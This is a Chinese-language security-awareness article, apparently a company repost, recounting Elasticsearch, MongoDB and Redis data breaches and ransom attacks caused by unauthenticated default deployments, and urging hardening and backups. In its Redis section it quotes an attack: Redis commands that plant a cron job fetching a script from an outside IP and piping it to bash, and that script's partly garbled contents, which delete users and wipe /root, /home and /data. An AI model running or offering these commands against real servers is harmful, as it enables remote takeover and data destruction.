江西数库信息技术有限公司
联系人：阮先生
微信：18859224109
邮箱：rscpass@163.com
手机：18859224109
编者说明：在新年即将来临，长假渐近的日子里，一定不要忘了数据库也需要关照，我们曾经总结过：数据库的假期综合症，本文整理了一些数据库安全方面的案例，在新年前为大家再提一次醒。
在技术领域，周而复始发生的数据安全事件，往往都似曾相识。有多少漏洞，全都会在不同的产品身上重演一次，一个都不能少，似乎所有经验都不曾被借鉴。
就拿初始化部署，初始化的口令和认证方式，往往都因为简便而保留默认方式，当服务器对公网开放时，这些系统就变成了完全不设防的主体，对着危险的黑暗森林发出『我在这里』的呼喊。
后果就是，数据风行天下。我摘录几则案例，与大家分享，并且作为警示。当我们启用一个数据库时，务必铭记，不要保留任何缺省设置。这是最基本的安全保证。
ElasticSearch 数据泄露案例
Elasticsearch 在全球数据库流行度排行榜上位列第 8 位，是一个被广泛使用的全文搜索引擎，企业一般用它来实现数据索引和搜索功能，但是由于部署或者企业运维上的重视缺乏，而导致的安全事故不绝于耳。
据2019年1月22日信息，美国一家网上赌场集团泄露了超过 1.08 亿笔投注信息。
泄露的信息包括：客户个人资料，存取款记录、家庭住址、电话号码、电子邮件地址、出生日期、网站用户名、帐户余额、IP 地址、浏览器、操作系统信息、上次登录信息和游戏列表，甚至包含当前投注、获胜、用于交易的银行卡等详细信息。
值得庆幸的是，ElasticSearch 服务器中交易银行卡详细信息被部分加密，没有公开完整财务细节；坏消息是任何发现数据库的人都会知道最近赢得大笔金钱的玩家姓名、家庭住址和电话号码，并且可能已将这些作为诈骗或勒索的目标用户。
该服务器被安全研究员 Justin Paine 发现，数据泄露源头是一个 ElasticSearch 服务器，该服务器没有密码保护，不需要身份验证且很明显信息来源于在线投注门户网站。
而此前类似的安全事件，同样言犹在耳：
2018 年 12 月份，巴西最大的订阅电视服务商之一的 Sky Brasil 在没有密码的情况下将 ElasticSearch 服务器暴露在互联网上，其 3200 万客户数据在网上暴露了很长时间，存储数据包括客户姓名、电子邮件地址、密码、付费电视包数据、客户端 IP 地址、个人地址、付款方式、设备型号等。
2018 年 11 月份，美国发生一起 ElasticSearch 服务器在没有密码的开放状态下泄露了将近 5700 万美国民众个人信息的事件。共泄漏超过 73GB 数据，并且几个数据库被缓存在服务器内存中，其中一个数据库包含的个人信息就达到了 56,934,021 份。
2017 年，白帽汇曾对全球使用 ElasticSearch 引擎发生的勒索事件进行监测，最终发现因被攻击而删除的数据至少 500 亿条，被删除数据规模至少 450TB。互联网上公开可访问的 ElasticSearch 服务器超过 68000 余台，受害总数达 9750 台。此次事件后，1% 的 Elasticsearch 启用了验证插件，另外有 2% 则关闭了 Elasticsearch。
注意到这些问题的共同原因，ElasticSearch Server 没有密码，这些事件应该成为大家的警示。不管处于内部还是外部，只要是数据所在，即为堡垒，就应该进行重点的安全加固和防范，防止数据泄露损毁。数据安全重于泰山。我们也不能因为数据能够重构和可以恢复就放松警惕，因为数据泄露对企业和用户带来的伤害往往无法量度。
MongoDB数据泄露案例
MongoDB数据库同样存在类似的问题。在2019年年初，Twitter 上暴露出一则数据泄露事件：超 2 亿中国用户简历曝光。
近日，外网安全研究人员偶然发现一个没有被很好保护的 MongoDB 数据库服务器，整个实例包含 854GB 数据，共有 202,730,434 条记录，其中大部分是中国用户简历，内容非常详细，包括中文全名、家庭住址、电话号码、电子邮件、婚烟状况、政治关系、期望薪水等内容。
该信息对整个互联网开放，因此追踪信息来源几乎是不可能的，但经过 Twitter 上一位用户的努力，已确定大致来源为一个已经删除的 GitHub 存储库，该存储库包含 Web 应用程序的源代码，此应用程序具有与泄露数据库中数据结构完全相同的数据，这清楚表明该程序应该是一个收集用户简历的第三方应用。
据此用户查证，该已删除应用的简历主要来源之一是 bj.58.com ，当 Diachenko 与 bj.58.com 工作人员联系时，他们也给出了初步评估，确定数据来自第三方应用泄露，并非官方泄露。
而这并不是MongoDB的第一次，在2016年和2017年，针对MongoDB的大规模攻击曾经就席卷而来：
2016年12月27日，安全专家兼GDI Foundation联合创始人Victor Gevers 在Twitter上称由于存在配置漏洞，可不通过任何认证直接访问某些MongoDB数据库，而黑客早已盯上了这些目标。
到 2017年1月3日，被黑客入侵的MongoDB数据库实例这个数字达到了2，000以上。而仅在1月9日早间开始的12小时内，受到黑客勒索的数据库就从12，000个翻倍达到了27，633之多。
尽管安全专家已经告诫众多MongoDB数据库用户不要向黑客支付赎金（很多黑客并不会如宣称的那样保留了数据，多数情况是直接删掉了），但已知仍有至少22个受害机构或个人缴纳了赎金。
而早在2015年 Shodan（搜索引擎）的负责人统计到有30，000个以上的MongoDB数据库实例，近600TB的数据暴露于公网之上，无需任何认证就可访问。很多版本滞后的数据库配置文件里没有做IP捆绑（bind_ip 127.0.0.1），在用户不甚了解的时候留下了安全隐患。虽然MongoDB的开发团队在下一个版本里修复了这个问题，但仍然有数量众多的数据库管理者没来得及更新。
MongoDB 的安全事故原因和前面的 ElasticSearch 非常相似，主要原因就是因为用户没有遵照规范化安全部署，缺少安全认证，并且直接将服务器暴露在公网里。
Redis的数据泄露
在2017年和2018年，关于Redis的安全问题同样大规模暴露出来。其安全原因和前面描述的如出一辙。
Redis 默认情况下，会绑定在 0.0.0.0:6379，这样会将 Redis 服务暴露到公网上，在Redis服务器没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下成功在Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器进行远程控制，获得主机的完全控制权。
以下引自阿里云的攻击过程说明：
首先攻击者通过事先的扫描踩点，发现了这些公网可访问并且未设置密码的机器
攻击者尝试连接这些机器，并且运行如下代码:
config set dir /var/spool/cron/ config set dbfilename root config 1 */10 * * * * curl -shttp://103.224.80.52/butterfly.sh | bash save
通过上述指令，将下载脚本: http://103.224.80.52/butterfly.sh
并将该脚本写入到计划任务中，由计划任务启动执行。
该脚本内容:
:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin userdel -r redis useradd -o -u -g redis >/dev/null passwd--stdin redis >/dev/null rm -rf /root/* rm -rf /home/* rm -rf /opt/* rm -rf /data/* rm -rf /data* mkdir -p /data -e > /root/Warning.txt chmod +x /root/Warning.txt cp /root/Warning.txt /Warning.txt cp /root/Warning.txt /data/Warning.txt -e
攻击者要求发送0.6个比特币，否则将在24小时之内删除数据备份。但是从这个脚本中可以明显看出，攻击者根本没有进行备份，即使被攻击者给了钱，也是要不回数据的。
综合以上的几个安全事故告诉我们：
数据安全重于一切，安全防护必不可少；
安全需要点滴做起，如从密码防护开始；
备份是数据库管理的首要任务有备无患；
在初始建设时就着手进行安全加固防范；